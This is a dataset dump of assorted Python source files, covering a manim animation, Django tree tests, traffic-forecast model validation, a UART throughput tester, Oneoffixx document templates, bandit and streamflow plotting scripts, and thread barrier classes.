Line(D,E)\r\n lineEA = Line(E,A)\r\n\r\n dotA = SmallDot(A)\r\n dotB = SmallDot(B)\r\n dotC = SmallDot(C)\r\n dotD = SmallDot(D)\r\n dotE = SmallDot(E)\r\n\r\n self.play(ShowCreation(dotA),ShowCreation(dotB),\r\n ShowCreation(lineAB))\r\n \r\n self.play(ShowCreation(dotC),ShowCreation(lineBC))\r\n self.play(ShowCreation(dotD),ShowCreation(lineCD))\r\n self.play(ShowCreation(dotE),ShowCreation(lineDE))\r\n self.play(ShowCreation(lineEA))\r\n \r\n self.wait(3)\r\n","sub_path":"bazinga_2_geometry2d_space.py","file_name":"bazinga_2_geometry2d_space.py","file_ext":"py","file_size_in_byte":7547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"96215502","text":"import re\nimport json\nimport pprint\n\nfrom django.core.urlresolvers import reverse\nfrom django.test import TestCase\nfrom django.test.client import Client\n\nfrom assessment.tests import build_assessments_for_permissions_testing\nfrom utils.helper import HAWCDjangoJSONEncoder\n\nfrom .models import SummaryText\n\nclass SummaryTextTests(TestCase):\n def setUp(self):\n build_assessments_for_permissions_testing(self)\n\n @staticmethod\n def clean_json(json_dump):\n remove_fields = ['created', 'last_updated', 'slug', 'text', 'assessment']\n for node in json_dump:\n node.pop('id')\n for field in remove_fields:\n node['data'].pop(field)\n if node.get('children'):\n SummaryTextTests.clean_json(node['children'])\n\n\n def test_adding_texts(self):\n lvl_1a = SummaryText.add_summarytext(assessment=self.assessment_working,\n title='lvl_1a',\n slug='lvl_1a',\n text='text')\n\n lvl_1b = SummaryText.add_summarytext(assessment=self.assessment_working,\n title='lvl_1b',\n slug='lvl_1b',\n text='text')\n\n lvl_2a = SummaryText.add_summarytext(assessment=self.assessment_working,\n parent=[lvl_1a],\n title='lvl_2a',\n slug='lvl_2a',\n text='text')\n\n lvl_2b = SummaryText.add_summarytext(assessment=self.assessment_working,\n sibling=[lvl_2a],\n title='lvl_2b',\n slug='lvl_2b',\n text='text')\n\n assessment_root = SummaryText.get_assessment_root_node(self.assessment_working)\n\n tree_form = SummaryText.dump_bulk(assessment_root)\n # print pprint.pprint(tree_form)\n\n SummaryTextTests.clean_json(tree_form)\n self.assertEqual(json.dumps(tree_form),\"\"\"[{\"data\": {\"title\": \"assessment-1\"}, \"children\": [{\"data\": {\"title\": \"lvl_1a\"}, \"children\": [{\"data\": {\"title\": \"lvl_2a\"}}, {\"data\": {\"title\": \"lvl_2b\"}}]}, {\"data\": {\"title\": \"lvl_1b\"}}]}]\"\"\")\n\n\n # Swap 2a and 2b\n lvl_2b.move_summarytext(parent=lvl_1a, sibling=None)\n tree_form = SummaryText.dump_bulk(assessment_root)\n SummaryTextTests.clean_json(tree_form)\n self.assertEqual(json.dumps(tree_form),\"\"\"[{\"data\": {\"title\": \"assessment-1\"}, \"children\": [{\"data\": {\"title\": \"lvl_1a\"}, \"children\": [{\"data\": {\"title\": \"lvl_2b\"}}, {\"data\": {\"title\": \"lvl_2a\"}}]}, {\"data\": {\"title\": \"lvl_1b\"}}]}]\"\"\")\n\n # Swap back\n lvl_2b.move_summarytext(parent=None, sibling=lvl_2a)\n tree_form = SummaryText.dump_bulk(assessment_root)\n SummaryTextTests.clean_json(tree_form)\n self.assertEqual(json.dumps(tree_form),\"\"\"[{\"data\": {\"title\": \"assessment-1\"}, \"children\": [{\"data\": {\"title\": \"lvl_1a\"}, \"children\": [{\"data\": {\"title\": \"lvl_2a\"}}, {\"data\": {\"title\": \"lvl_2b\"}}]}, {\"data\": {\"title\": \"lvl_1b\"}}]}]\"\"\")\n\n","sub_path":"project/summary/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"499603482","text":"import os\nimport sys\nimport torch\nfrom collections import defaultdict\nimport json\nimport pickle\nimport logging\nlogging.basicConfig()\n\nsys.path.append(os.getcwd())\nfrom generalization_config import config\nfrom utils.graph_utils import create_adj_matrix, blockify_A, create_coordinate_channel, \\\n create_edge_index_from_adjacency_matrix\nfrom utils.training_gcn_utils import validate\nfrom utils.training_unet_utils import validate as validate_unet\nfrom utils.videoloader import trafic4cast_dataset\n\n\nfrom models.unet import UNet\nfrom models.graph_models import KipfNet_orig, KipfNet, KipfNetd2, Graph_resnet\n\n\n\ndef get_graphdata_obj(inputs, edge_index, y, num_features=38, num_classes=9):\n graphdata = Data(x=inputs, edge_index=edge_index, y=y)\n\n return graphdata\n\n\ndef get_n_params(model):\n pp = 0\n for p in list(model.parameters()):\n nn = 1\n for s in list(p.size()):\n nn = nn * s\n pp += nn\n return pp\n\n\nif __name__ == \"__main__\":\n print('batch_size: ', config['dataloader']['batch_size'])\n print(config['device_num'])\n device = torch.device(config['device_num'])\n\n model_tuple_list = config['model_tuple_list']\n\n resultdict = defaultdict(dict)\n\n for city in ['Berlin', 'Moscow', 'Istanbul']:\n config['dataset']['cities'] = [city]\n\n dataset_val = trafic4cast_dataset(split_type='validation', **config['dataset'],\n reduce=True, filter_test_times=True)\n\n val_loader = torch.utils.data.DataLoader(dataset_val, shuffle=False,\n **config['dataloader'])\n\n for model_tuple in model_tuple_list:\n model_plot_name = model_tuple[0]\n model_path = model_tuple[1]\n is_graph = model_tuple[2]\n graph_model_name = model_tuple[3]\n\n with open(os.path.join(model_path, 'config.json'), 'r') as f:\n model_config = json.load(f)\n\n adj, nn_ixs, G, mask = create_adj_matrix(city=config['dataset']['cities'][0],\n mask_threshold=config['mask_threshold'])\n\n if not is_graph:\n model_config['model']['batch_norm'] = True\n model = UNet(**model_config['model']).to(device)\n model.load_state_dict(torch.load(os.path.join(model_path, 'checkpoint.pt'),\n map_location=device))\n\n mask = torch.from_numpy(mask).to(device)\n\n if 'MIE-Lab' in model_plot_name:\n norm = False\n else:\n norm = True\n\n val_loss = validate_unet(model=model, val_loader=val_loader, device=device, mask=mask,\n config=model_config, print_loss=False, norm=norm)\n\n if is_graph:\n\n n_features = 38\n batch_size = config['dataloader']['batch_size']\n assert batch_size == 1, \"batch_size should be 1 for graphs\"\n\n coords = create_coordinate_channel(b=batch_size)\n\n if config['dataloader']['batch_size'] > 1:\n adj = blockify_A(adj, config['dataloader']['batch_size'])\n\n edge_index = create_edge_index_from_adjacency_matrix(adj)\n edge_index = edge_index.to(device)\n\n if graph_model_name == 'kipfnet':\n model = KipfNet_orig(num_features=n_features,\n num_classes=9, **model_config['model']['KIPF']).to(device)\n model.load_state_dict(torch.load(os.path.join(model_path, 'checkpoint.pt'),\n map_location=device))\n\n elif graph_model_name == 'skipfnet':\n model = KipfNet(num_features=n_features,\n num_classes=9, **model_config['model']['KipfNet']).to(device)\n model.load_state_dict(torch.load(os.path.join(model_path, 'checkpoint.pt'),\n map_location=device))\n\n elif graph_model_name == 'skipfnet2d':\n model = KipfNetd2(num_features=n_features,\n num_classes=9, **model_config['model']['KipfNetd2']).to(device)\n model.load_state_dict(torch.load(os.path.join(model_path, 'checkpoint.pt'),\n map_location=device))\n\n elif graph_model_name == 'Graph_resnet':\n model = Graph_resnet(num_features=n_features,\n num_classes=9, **model_config['model']['Graph_resnet']).to(device)\n model.load_state_dict(torch.load(os.path.join(model_path, 'checkpoint.pt'),\n map_location=device))\n\n mask = None\n val_loss = validate(model=model, val_loader=val_loader, device=device,\n adj=adj, nn_ixs=nn_ixs, edge_index=edge_index, coords=coords,\n mask=mask, batch_size=batch_size, print_loss=False)\n\n print(\"Validation loss {}: {} = {:.2f}\".format(city, model_plot_name, val_loss))\n resultdict[model_plot_name][city] = val_loss\n\n nb_params = get_n_params(model)\n resultdict[model_plot_name]['nb_params'] = nb_params\n\n pickle.dump(resultdict, open(os.path.join('.', 'output', 'data_generalization.p'), 'wb'))\n","sub_path":"experiment/generalization.py","file_name":"generalization.py","file_ext":"py","file_size_in_byte":5807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"127485154","text":"from datetime import datetime, timezone\n\nfrom app.configs.database import SingletonSQLAlchemy\n\n\ndb = SingletonSQLAlchemy()\n\n\nclass BaseModel(db.Model):\n __abstract__ = True\n\n id = db.Column(db.Integer, primary_key=True)\n create_at = db.Column(db.DateTime(timezone=True), default=lambda: datetime.now(timezone.utc))\n updated_at = db.Column(db.DateTime(timezone=True), nullable=True)\n\n def before_save(self, *args, **kwargs):\n return\n\n def before_save(self, *args, **kwargs):\n return\n\n def save(self, commit=True):\n self.before_save()\n\n db.session.add(self)\n if commit:\n try:\n db.session.commit()\n except Exception as error:\n db.session.rollback()\n raise error\n\n self.before_save()\n\n def delete(self, commit=True):\n db.session.delete(self)\n if commit:\n db.session.delete(self)\n","sub_path":"app/models/bases_model.py","file_name":"bases_model.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"96900209","text":"import logging\nimport serial\nimport time\n\n###################################################################################\n\n\nclass CommUART(object):\n def __init__(self, address):\n self.address = address\n self.sc = None\n\n def connect(self):\n logging.debug(\"Opening COM port : {0}\".format(self.address))\n self.sc = None\n while self.sc is None:\n try:\n self.sc = serial.Serial(port=self.address, baudrate=3000000, rtscts=False)\n except serial.serialutil.SerialException as se:\n if 'Device or resource busy:' in se.__str__():\n logging.info('Opening COM port is taking a little while, please stand by...')\n else:\n logging.error('se: {0}'.format(se))\n time.sleep(1)\n logging.debug(\"COM port open successfully.\")\n self.sc.flushInput()\n\n def disconnect(self):\n logging.debug(\"Closing COM port : {0}\".format(self.address))\n self.sc.close()\n\n def receivedPacket(self, length):\n if self.sc is None:\n raise Exception('COM port is not opened.')\n packet = b''\n received = 0\n while received < length:\n serialByte = self.sc.read(1)\n if serialByte is None:\n raise Exception('Bad character.')\n elif len(serialByte) == 0:\n break\n elif received < length:\n received += 1\n packet += serialByte\n return packet\n \n def send(self, data):\n self.sc.write(bytes([data]))\n\n def prbs8(self, curval):\n newbit = (((curval >> 6) ^ (curval >> 5)) & 1)\n return ((curval << 1) | newbit) & 0x7f\n###################################################################################\n\ndef main():\n logging.basicConfig(level=logging.DEBUG, format='%(asctime)s : %(message)s')\n\n #comm = CommUART(\"/dev/cu.usbserial-FT0NCE8B\")\n #comm = CommUART(\"/dev/cu.usbmodem143422\")\n comm = CommUART(\"/dev/cu.usbmodem143132\")\n comm.connect()\n\n curval = 0\n #packet = comm.receivedPacket(1)\n #curval = int.from_bytes(packet, byteorder = 'little')\n val = comm.prbs8(0xff)\n byteCount = 0\n dropcnt = 0\n deltatime = 0\n drop = False\n while True:\n try:\n comm.send(val)\n startTime = time.time()\n# packet = comm1.receivedPacket(1)\n endTime = time.time()\n deltatime += endTime - startTime\n # curval = int.from_bytes(packet, byteorder = 'little')\n # if curval != val:\n # dropcnt += 1\n val = comm.prbs8(val)\n byteCount += 1\n\n if deltatime > 0:\n bytesPerSec = byteCount / deltatime #(endTime - startTime)\n\n #print(\"Bytes : {0}\".format(bytes))\n #if drop:\n # print(\"Dropped.... Bytes/sec : {0}\".format(bytesPerSec))\n #else:\n if (byteCount & 0xff) == 0:\n print(\"Bytes/sec : %.2f, drop %d \" %(bytesPerSec, dropcnt))\n except KeyboardInterrupt:\n print(\"KeyboardInterrupt. Exiting.\")\n break\n\n comm.disconnect()\n # comm1.disconnect()\n###################################################################################\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Python/uartprbs_tx.py","file_name":"uartprbs_tx.py","file_ext":"py","file_size_in_byte":3348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"356452838","text":"#!/usr/bin/env python3\nfrom __future__ import print_function\n\nimport os\n\nimport pprint\nimport sys\nfrom googleapiclient.discovery import build\n\nif len(sys.argv) < 2:\n print('Usage: python3 group-allow-external-users.py group@email.address', file=sys.stderr)\n sys.exit(1)\n\ngroupId = sys.argv[1]\nservice = build('groupssettings', 'v1')\n\ngroup = service.groups()\ng = group.get(groupUniqueId=groupId).execute()\n\nbody = {\n 'allowExternalMembers': True\n}\ngroup.update(groupUniqueId=groupId, body=body).execute()\nprint('Group %s now allowed to have external members, enjoy.' % groupId)\n","sub_path":"scripts/group-allow-external-users.py","file_name":"group-allow-external-users.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"311423379","text":"from tkinter import *\nwindow = Tk()\ndef km_to_miles():\n miles = float(e1_value.get())*.6\n t1.insert(END, miles)\ndef kg_conversion():\n grams = float(e1_value.get())*1000\n t1.insert(END, grams)\n pounds = float(e1_value.get())*2.20462\n t2.insert(END,pounds)\n ounces = float(e1_value.get())*35.274\n t3.insert(END, ounces)\nb1 = Button(window, text='Execute',command=kg_conversion)\nb1.grid(row=0,column=3)\nlabel = Label(window, text='Kg')\nlabel.grid(row=0,column=1)\ne1_value=StringVar()\ne1=Entry(window,textvariable=e1_value)\ne1.grid(row=0,column=2)\nt1=Text(window,height=1,width=20)\nt1.grid(row=1,column=1)\nt2=Text(window,height=1,width=20)\nt2.grid(row=1,column=2)\n\nt3=Text(window,height=1,width=20)\nt3.grid(row=1,column=3)\n\nwindow.mainloop()\n()","sub_path":"script1.py","file_name":"script1.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"111741236","text":"from copy import deepcopy\nfrom opengever.base.schema import TableChoice\nfrom opengever.oneoffixx import _\nfrom opengever.oneoffixx.api_client import OneoffixxAPIClient\nfrom opengever.oneoffixx.command import CreateDocumentFromOneOffixxTemplateCommand\nfrom opengever.oneoffixx.utils import whitelisted_template_types\nfrom plone.i18n.normalizer.interfaces import IFileNameNormalizer\nfrom plone.supermodel import model\nfrom plone.z3cform.layout import FormWrapper\nfrom z3c.form import button\nfrom z3c.form.field import Fields\nfrom z3c.form.form import Form\nfrom zope import schema\nfrom zope.component import getUtility\nfrom zope.i18n import translate\nfrom zope.interface import provider\nfrom zope.schema.interfaces import IContextSourceBinder\nfrom zope.schema.vocabulary import SimpleVocabulary\n\n\ndef get_oneoffixx_favorites():\n \"\"\"Return the user chosen favorites as a template group, if any.\"\"\"\n api_client = OneoffixxAPIClient()\n favorites = api_client.get_oneoffixx_favorites()\n if favorites.get('templates'):\n return favorites\n return None\n\n\ndef get_oneoffixx_template_groups():\n \"\"\"Return the template groups.\n\n Potentially amended with user chosen favorites.\n \"\"\"\n api_client = OneoffixxAPIClient()\n # We need to work on a copy to not pollute the cached one\n template_groups = deepcopy(api_client.get_oneoffixx_template_groups())\n favorites = get_oneoffixx_favorites()\n if favorites:\n template_groups.insert(0, favorites)\n return template_groups\n\n\ndef get_oneoffixx_templates():\n \"\"\"Return all oneoffixx templates.\n\n We do not want duplicates from favorites here.\n \"\"\"\n api_client = OneoffixxAPIClient()\n return (\n OneOffixxTemplate(template, template_group.get('localizedName', ''))\n for template_group in api_client.get_oneoffixx_template_groups()\n for template in template_group.get(\"templates\")\n if template.get('metaTemplateId') in whitelisted_template_types\n )\n\n\ndef default_template_group():\n \"\"\"Return all templates, or the user favorites, if defined by user.\"\"\"\n favorites = get_oneoffixx_favorites()\n if favorites:\n return favorites.get('id')\n return None\n\n\n@provider(IContextSourceBinder)\ndef list_templates(context):\n \"\"\"Return a list available templates.\"\"\"\n templates = get_oneoffixx_templates()\n template_group = context.REQUEST.form.get('form.widgets.template_group')\n terms = []\n\n for template in templates:\n terms.append(SimpleVocabulary.createTerm(\n template, template.template_id, template.title))\n\n # We filter templates when template_group has been selected\n if template_group is not None:\n favorites = get_oneoffixx_favorites()\n # Favorites are a special case\n if favorites and template_group[0] == favorites.get('id'):\n terms = [\n SimpleVocabulary.createTerm(\n OneOffixxTemplate(\n template, favorites.get('localizedName', '')),\n template.get('id'),\n template.get('localizedName'),\n )\n for template in favorites.get('templates')\n ]\n elif template_group[0] != '--NOVALUE--':\n terms = [term for term in terms if term.value.group == template_group[0]]\n\n return MutableObjectVocabulary(terms)\n\n\n@provider(IContextSourceBinder)\ndef list_template_groups(context):\n \"\"\"Return the list of available template groups.\"\"\"\n template_groups = get_oneoffixx_template_groups()\n terms = []\n for group in template_groups:\n terms.append(SimpleVocabulary.createTerm(group.get(\"id\"),\n group.get(\"id\"),\n group.get(\"localizedName\")))\n return MutableObjectVocabulary(terms)\n\n\nclass OneOffixxTemplate(object):\n\n def __init__(self, template, groupname):\n self.title = template.get(\"localizedName\")\n self.template_id = template.get(\"id\")\n self.group = template.get('templateGroupId')\n self.groupname = groupname\n template_type = template['metaTemplateId']\n template_type_info = whitelisted_template_types[template_type]\n self.content_type = template_type_info['content-type']\n filename = template.get(\"localizedName\")\n normalizer = getUtility(IFileNameNormalizer, name='gever_filename_normalizer')\n self.filename = normalizer.normalize(filename, extension=template_type_info['extension'])\n self.languages = template.get(\"languages\")\n\n def __eq__(self, other):\n if type(other) == type(self):\n return self.template_id == other.template_id\n return False\n\n\nclass MutableObjectVocabulary(SimpleVocabulary):\n\n def __contains__(self, value):\n try:\n return any([value == val for val in self.by_value])\n except TypeError:\n return False\n\n\nclass ICreateDocumentFromOneOffixxTemplate(model.Schema):\n\n # XXX - this always renders the --NOVALUE-- as the actually chosen\n # default is actually loaded over AJAX - confusing and bad UX\n template_group = schema.Choice(\n title=_(u'label_template_group', default=u'Template group'),\n source=list_template_groups,\n required=False,\n defaultFactory=default_template_group,\n )\n\n template = TableChoice(\n title=_(u\"label_template\", default=u\"Template\"),\n source=list_templates,\n required=True,\n show_filter=True,\n vocabulary_depends_on=['form.widgets.template_group'],\n columns=(\n {'column': 'title',\n 'column_title': _(u'label_title', default=u'Title'),\n 'sort_index': 'sortable_title'},\n )\n )\n\n title = schema.TextLine(\n title=_(u\"label_title\", default=u\"Title\"),\n required=True)\n\n\nclass SelectOneOffixxTemplateDocumentWizardStep(Form):\n\n label = _(u'create_document_with_template', default=u'Create document from template')\n ignoreContext = True\n fields = Fields(ICreateDocumentFromOneOffixxTemplate)\n\n def updateWidgets(self, prefix=None):\n super(SelectOneOffixxTemplateDocumentWizardStep, self).updateWidgets(prefix=prefix)\n self.widgets['template_group'].noValueMessage = translate(\n _(u'label_all_template_groups', default=u'All templates'), context=self.request)\n\n def finish_document_creation(self, data):\n new_doc = self.create_document(data)\n self.activate_external_editing(new_doc)\n return self.request.RESPONSE.redirect(new_doc.absolute_url())\n\n def activate_external_editing(self, new_doc):\n \"\"\"Add the oneoffixx external_editor URL to redirector queue.\"\"\"\n new_doc.setup_external_edit_redirect(self.request, action=\"oneoffixx\")\n\n def create_document(self, data):\n \"\"\"Create a new document based on a template.\"\"\"\n command = CreateDocumentFromOneOffixxTemplateCommand(self.context, data['title'], data['template'])\n return command.execute()\n\n @button.buttonAndHandler(_('button_save', default=u'Save'), name='save')\n def handleApply(self, action):\n data, errors = self.extractData()\n\n if not errors:\n return self.finish_document_creation(data)\n\n self.status = self.formErrorsMessage\n return None\n\n @button.buttonAndHandler(_(u'button_cancel', default=u'Cancel'), name='cancel')\n def cancel(self, action):\n return self.request.RESPONSE.redirect(self.context.absolute_url())\n\n\nclass SelectOneOffixxTemplateDocumentView(FormWrapper):\n\n form = SelectOneOffixxTemplateDocumentWizardStep\n","sub_path":"opengever/oneoffixx/browser/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":7651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"132085398","text":"'''\nCreated on Jan 28, 2017\n\n@author: vbera\n'''\nn = int(input().strip())\narr = [ int(x) for x in input().strip().split(' ')]\narr = sorted(arr, reverse=True)\nlengthArr = len(arr)\nwhile lengthArr > 0:\n print(lengthArr)\n minValue = arr[len(arr) - 1]\n arr[:] = [x - minValue for x in arr]\n zIndex = arr.index(0)\n arr = arr[0:zIndex]\n lengthArr = len(arr)\n \n ","sub_path":"CutTheSticks.py","file_name":"CutTheSticks.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"533072377","text":"import matplotlib.pyplot as plt \r\nimport numpy as np\r\nimport matplotlib.ticker as ticker\r\n\r\n# result_file = \"../expt/results/task4_1.txt\"\r\nresult_file = \"finalT2.txt\"#\"outputDataT2.txt\"\r\ninstance_list = [\"../instances/i-1.txt\",\"../instances/i-2.txt\",\"../instances/i-3.txt\"]\r\n# instance_list = [\"i-1.txt\",\"i-2.txt\",\"i-3.txt\"]\r\nalgorithms = [\"thompson-sampling\", \"thompson-sampling\"]\r\nfinal_dict = {\"../instances/i-1.txt\":{}, \"../instances/i-2.txt\":{}, \"../instances/i-3.txt\":{}}\r\nhorizons = [100, 400, 1600, 6400, 25600, 102400]\r\n# final_dict = {\"i-3.txt\":{}, \"i-1.txt\":{}, \"i-2.txt\":{}}\r\nwith open(result_file,'r') as f:\r\n lines = f.readlines()\r\n for line in lines:\r\n x = line.rstrip().split(', ')\r\n if x[1] in final_dict[x[0]].keys():\r\n final_dict[x[0]][x[1]][int(np.log2(int(x[4])/100)/2)] += float(x[5])/50.0\r\n else:\r\n final_dict[x[0]][x[1]] = [0]*6\r\n final_dict[x[0]][x[1]][int(np.log2(int(x[4])/100)/2)] += float(x[5])/50.0\r\n\r\nfor i,instance in enumerate(instance_list):\r\n fig = plt.figure()\r\n ax = fig.add_subplot(111)\r\n ax.set_xscale('log')\r\n ax.xaxis.set_ticks(horizons)\r\n ax.get_xaxis().set_major_formatter(ticker.ScalarFormatter())\r\n ts = final_dict[instance][\"thompson-sampling\"]\r\n plt.plot(horizons,ts,label=\"Thompson-Sampling\")\r\n ts = final_dict[instance][\"thompson-sampling-with-hint\"]\r\n plt.plot(horizons,ts,label=\"Thompson-Sampling (with Hint)\")\r\n plt.xlabel(\"Horizon (Logarithmic Scale, Base 2)\")\r\n plt.ylabel(\"Average Regret\")\r\n plt.legend()\r\n\r\n pltTitle = instance.replace('../instances/', '')\r\n pltTitle = pltTitle.replace('.txt', '')\r\n pltTitle = pltTitle.replace('i-', 'Instance ')\r\n # plt.plot(x_axis,kl_ucb,x_axis,ts,x_axis,ucb,x_axis,eg)\r\n plt.title(\"{}\".format(pltTitle))\r\n plt.savefig(\"testT2_instance{}.png\".format(i+1))","sub_path":"Assignment1/submission/PlotGenT2.py","file_name":"PlotGenT2.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"8280225","text":"# Example solution for HW 4\n\n# %%\n# Import the modules we will use\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# %%\n# ** MODIFY **\n# Set the file name and path to where you have stored the data\nfilename = 'streamflow_week5.txt'\nfilepath = os.path.join('data', filename)\nprint(os.getcwd())\nprint(filepath)\n\n# filepath = '../Assignments/Solutions/data/streamflow_week1.txt'\n\n# %%\n#Read the data into a pandas dataframe\ndata=pd.read_table(filepath, sep = '\\t', skiprows=30,\n names=['agency_cd', 'site_no', 'datetime', 'flow', 'code']\n )\n\n# Expand the dates to year month day\ndata[[\"year\", \"month\", \"day\"]] =data[\"datetime\"].str.split(\"-\", expand=True)\ndata['year'] = data['year'].astype(int)\ndata['month'] = data['month'].astype(int)\ndata['day'] = data['day'].astype(int)\n\n# %%\n# Sorry no more helpers past here this week, you are on your own now :) \n# Hints - you will need the functions: describe, info, groupby, sort, head and tail.\n#%%\n# Esimation5\ndata.flow\n# print(data.datetime[(data.flow >= rnge[0]) & (data.flow <= rnge[1])])\n\n# list_2010 = []\n# list_2011 = []\n# list_2012 = []\n# list_2013 = []\n# list_2014 = []\n# list_2015 = []\n# list_2016 = []\n# list_2017 = []\n# list_2016 = []\n# list_2017 = []\n# list_2020 = []\n\n# data.flow[(data.year >= 2010) & (data.year <= 2020) & (data.month == i)].mean]\n#%%\n# 1, 3, 5, 7, 8, 10, 12\nfor d in range(2010, 2020):\n fig1 = plt.figure()\n fig1.patch.set_facecolor('xkcd:mint green')\n plt.title('%d'%(d))\n plt.ylabel('flow')\n for i in (1, 3, 5, 7, 8, 10, 12):\n # print(i)\n # print(data.flow[(data.year == 2010) & (data.month == i)].mean)\n # print(\"\\n\")\n # data.flow[(data.year == 2010) & (data.month == i)]\n x = list(range(1, 32))\n plt.plot(x, (data.flow[(data.year == d) & (data.month == i)]))\n plt.xlabel('days in month')\n plt.legend(['1', '3', '5', '7', '8', '10', '12'])\n plt.savefig('graphs/flow-set1_%d'%(d))\n\n \n# x = list(range(1, 32))\n# print(x)\n\n\n# print(flow_data.size)\n# print(flow_data.shape)\n# flow_202009 = flow_data[11571:11585, 3]\n# print(flow_202009)\n\n# x = [6.,7,8,9,10,11,12,13,14,15,16,17,18,19]\n# fig9 = plt.figure()\n# fig9.patch.set_facecolor('xkcd:mint green')\n# plt.plot(x, flow_202009)\n# plt.xlabel('days in September 2020')\n# plt.ylabel('flow')\n# plt.legend()\n# plt.savefig('graphs/flow_202009')\n\n# %%\n# 4, 6, 9, 11\nfor d in range(2010, 2020):\n fig2 = plt.figure()\n fig2.patch.set_facecolor('xkcd:mint green')\n plt.title('%d'%(d))\n plt.ylabel('flow')\n for i in (4, 6, 9, 11):\n # print(i)\n # print(data.flow[(data.year == 2010) & (data.month == i)].mean)\n # print(\"\\n\")\n # data.flow[(data.year == 2010) & (data.month == i)]\n x = list(range(1, 31))\n # print(x)\n plt.plot(x, (data.flow[(data.year == d) & (data.month == i)]))\n plt.xlabel('days in the month')\n plt.legend(['4', '6', '9', '11'])\n plt.savefig('graphs/flow-set2_%d'%(d))\n# %%\n# 2020\n\nfig3 = plt.figure()\nfig3.patch.set_facecolor('xkcd:mint green')\nplt.title('2020')\nplt.ylabel('flow')\nfor i in (1, 3, 5, 7, 8):\n # print(i)\n # print(data.flow[(data.year == 2010) & (data.month == i)].mean)\n # print(\"\\n\")\n # data.flow[(data.year == 2010) & (data.month == i)]\n x = list(range(1, 32))\n # print(x)\n plt.plot(x, (data.flow[(data.year == 2020) & (data.month == i)]))\n plt.xlabel('days in the month')\n plt.legend(['1', '3', '5', '7', '8'])\n plt.savefig('graphs/flow-set3_2020-%i'%(i))\n\ndata.flow[(data.year == 2020) & (data.month == 1)]\n\nfig4 = plt.figure()\nfig4.patch.set_facecolor('xkcd:mint green')\nplt.title('2020')\nplt.ylabel('flow')\nfor i in (4, 6):\n # print(i)\n # print(data.flow[(data.year == 2010) & (data.month == i)].mean)\n # print(\"\\n\")\n # data.flow[(data.year == 2010) & (data.month == i)]\n x = list(range(1, 31))\n # print(x)\n plt.plot(x, (data.flow[(data.year == 2020) & (data.month == i)]))\n plt.xlabel('days in the month')\n plt.legend(['4', '6'])\n plt.savefig('graphs/flow-set4_2020-%i'%(i))\n# %%\n# When September Ends\nx = list(range(1, 27))\nfig5 = plt.figure()\nfig5.patch.set_facecolor('xkcd:mint green')\nplt.title('2020-9')\nplt.ylabel('flow')\nplt.plot(x, (data.flow[(data.year == 2020) & (data.month == 9)]))\nplt.xlabel('days in the month')\nplt.legend([])\nplt.savefig('graphs/flow-set5_2020-9')\n\nprint((data.flow[(data.year == 2020) & (data.month == 9)]))\n# %%\n","sub_path":"assignment_5/week5_pandas_starter_BM.py","file_name":"week5_pandas_starter_BM.py","file_ext":"py","file_size_in_byte":4760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"141690023","text":"import sys\nimport threading\nfrom threading import *\n\n\nclass ReusableBarrierCond():\n\t\"\"\" Bariera reentranta, implementata folosind o variabila conditie \"\"\"\n\n\tdef __init__(self, num_threads):\n\t\tself.num_threads = num_threads\n\t\tself.count_threads = self.num_threads\n\t\tself.cond = Condition(Lock())\n\n\tdef wait(self):\n\t\tself.cond.acquire() # intra in regiunea critica\n\t\tself.count_threads -= 1; \n\t\tif self.count_threads == 0:\n\t\t\tself.cond.notify_all() # trezeste toate thread-urile, acestea vor putea reintra in regiunea critica dupa release\n\t\t\tself.count_threads=self.num_threads \n\t\telse: \n\t\t\tself.cond.wait(); # iese din regiunea critica, se blocheaza, cand se deblocheaza face acquire pe lock\n\t\tself.cond.release(); # iesim din regiunea critica\n\nclass ReusableBarrierSem():\n\t\"\"\" Bariera reentranta, implementata folosind semafoare \"\"\"\n\t\n\tdef __init__(self, num_threads):\n\t\tself.num_threads = num_threads\n\t\tself.count_threads1 = self.num_threads\n\t\tself.count_threads2 = self.num_threads\n\t\t\n\t\tself.counter_lock = Lock() # protejam decrementarea numarului de threaduri\n\t\tself.threads_sem1 = Semaphore(0) # contorizam numarul de threaduri pentru prima etapa\n\t\tself.threads_sem2 = Semaphore(0) # contorizam numarul de threaduri pentru a doua etapa\n\n\tdef wait(self):\n\t\tself.phase1()\n\t\tself.phase2()\n\n\tdef phase1(self):\n\t\twith self.counter_lock:\n\t\t\tself.count_threads1 -= 1\n\t\t\tif self.count_threads1 == 0:\n\t\t\t\tfor i in range(self.num_threads):\n\t\t\t\t\tself.threads_sem1.release()\n\t\t\tself.count_threads2 = self.num_threads\n\t\t \n\t\tself.threads_sem1.acquire()\n\t\t \n\tdef phase2(self):\n\t\twith self.counter_lock:\n\t\t\tself.count_threads2 -= 1\n\t\t\tif self.count_threads2 == 0:\n\t\t\t\tfor i in range(self.num_threads):\n\t\t\t\t\tself.threads_sem2.release()\n\t\t\tself.count_threads1 = self.num_threads\n\t\t \n\t\tself.threads_sem2.acquire()\n\nclass Request():\n\t\"\"\" Class that represent a request data type.\"\"\"\n\n\tdef __init__(self, op_type, node, pivot, item = 